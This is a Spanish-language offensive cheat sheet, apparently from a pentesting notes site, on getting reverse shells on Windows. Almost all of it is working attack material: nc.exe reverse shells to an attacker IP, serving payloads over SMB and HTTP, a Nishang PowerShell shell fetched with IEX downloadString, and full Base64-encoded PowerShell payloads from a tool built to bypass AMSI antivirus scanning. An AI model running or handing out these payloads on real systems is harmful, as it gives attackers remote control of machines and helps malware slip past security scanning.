Reverse Shell
Nc.exe
Desde nuestro equipo atacante, deberemos de disponer del binario nc.exe. Lo compartiremos al equipo víctima a través de un servidor web o SMB. Una vez subido el binario en una ruta, nos otorgaremos una Reverse Shell con nc.exe.
# Víctima
.\nc.exe -e cmd <ATTACKER_IP> 443
# Atacante
nc -nlvp 443
También podemos disponer del binario de nc.exe en nuestro servidor SMB y ejecutar el binario para otorgarnos una Reverse Shell accediendo al mismo recuso compartido desde el equipo víctima.
# Atacante (Kali)
rlwrap -cAr nc -nlvp 443
impacket-smbserver smbFolder $(pwd) -smb2support
# Vítima (Windows)
\\<ATTACKER_IP>\smbFolder\nc.exe -e cmd <ATTACKER_IP> 443
Reverse Shell Nishang
Invoke-PowerShellTcp.ps1
# Renombrar el archivo a 'rev.ps1', y añadir al final del archivo la siguiente línea
Invoke-PowerShellTcp -Reverse -IPAddress <ATTACKER_IP> -Port 443
# Nos ponemos en escucha por el puerto indicado.
rlwrap -cAr nc -nlvp 443
# Compartimos el archivo a través de un servidor web.
python3 -m http.server 80
# Para mayor seguridad, codificamos desde Kali el comando que deberá ejecutar la víctima en Base64 de Windows.
echo 'IEX(New-Object Net.WebClient).downloadString("http://<ATTACKER_IP>/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo
# Desde el equipo de la víctima, se ejecuta el siguiente comando con el código en Base64 generado.
powershell -e <BASE64_CODE>
RevShells
Desde la siguiente página, podemos generar diferentes tipos de Reverse Shell. El más recomendado en el caso de Windows, es el de PowerShell Base64.
Estableceremos nuestra dirección IP y el puerto donde estaremos en escucha. Del resultado generado, es el comando que deberá ejecutar la víctima.

Proceso para ejecutar la Reverse Shell de revshells.
# Desde la máquina atacante en Kali nos ponemos en escucha
rlwrap -cAr nc -nlvp 443
# Desde la máquina víctima ejecutamos la Reverse Shell
powershell -e <BASE64_CODE>
BypassAMSI_PSRevshell
"Revshell" command
Generates an obfuscated PowerShell
reverse shell payload based on original Nishang Reverse shell PS oneliner.
Usage
python3 BypassAMSI_PSRevshell.py revshell -i <Attacker-IP> -p <listening-port>
For example:
❯ python3 BypassAMSI_PSRevshell.py revshell -i 10.10.10.10 -p 4444
Will generate the payload:
powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAxADAALgAxADAALgAxADAAJwAsADQANAA0ADQAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==
"Server" command
This option will create a payload file, by default named revshell.ps1
(which is the obfuscated payload from revshell
command written into a file), and expose it into a temporal HTTP server (by default on port 8000
, which can be changed as well). The script will then generate an encoded payload that will request the file to the temporal server, executes it and triggers the reverse shell.
Usage
python3 BypassAMSI_PSRevshell.py server -i <Attacker-IP> -p <listening-port>
For example:
❯ python3 BypassAMSI_PSRevshell.py server -i 10.10.10.10 -p 4444 --server-port 9000
Will generate the payload:
powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMAAuADEAMAA6ADkAMAAwADAALwByAGUAdgBzAGgAZQBsAGwALgBwAHMAMQAiACkA
Executing it on the victim machine will make a request to the HTTP server exposed and the payload file.
Última actualización
¿Te fue útil?